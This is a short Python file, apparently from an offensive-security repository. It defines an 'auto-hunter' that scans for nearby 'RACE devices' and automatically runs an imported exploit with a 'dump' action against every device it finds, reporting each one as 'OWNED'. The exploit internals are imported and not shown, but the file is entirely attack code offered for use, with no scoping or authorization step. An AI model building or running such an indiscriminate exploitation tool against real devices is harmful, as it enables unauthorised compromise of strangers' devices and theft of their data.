Files

28 lines
1.1 KiB
Python

import asyncio
from modules.discovery import aggressive_scan
from modules.exploit import auto_exploit
from colorama import Fore, Style
async def hunt_and_pwn(timeout: int = 20):
"""Automatically find and exploit RACE devices"""
print(f"{Fore.RED}{'='*60}{Style.RESET_ALL}")
print(f"{Fore.RED} AUTO-HUNTER: Finding and pwning RACE devices{Style.RESET_ALL}")
print(f"{Fore.RED}{'='*60}{Style.RESET_ALL}")
devices = await aggressive_scan(timeout)
if not devices:
print(f"{Fore.RED}[-] No RACE devices found{Style.RESET_ALL}")
return
print(f"{Fore.GREEN}[+] Found {len(devices)} RACE device(s){Style.RESET_ALL}")
for dev in devices:
print(f"\n{Fore.YELLOW}[*] Exploiting {dev['address']}...{Style.RESET_ALL}")
result = await auto_exploit(dev['address'], "dump")
if result['status'] == 'success':
print(f"{Fore.GREEN}[+] {dev['address']} OWNED!{Style.RESET_ALL}")
else:
print(f"{Fore.RED}[-] {dev['address']} failed: {result.get('message', '')}{Style.RESET_ALL}")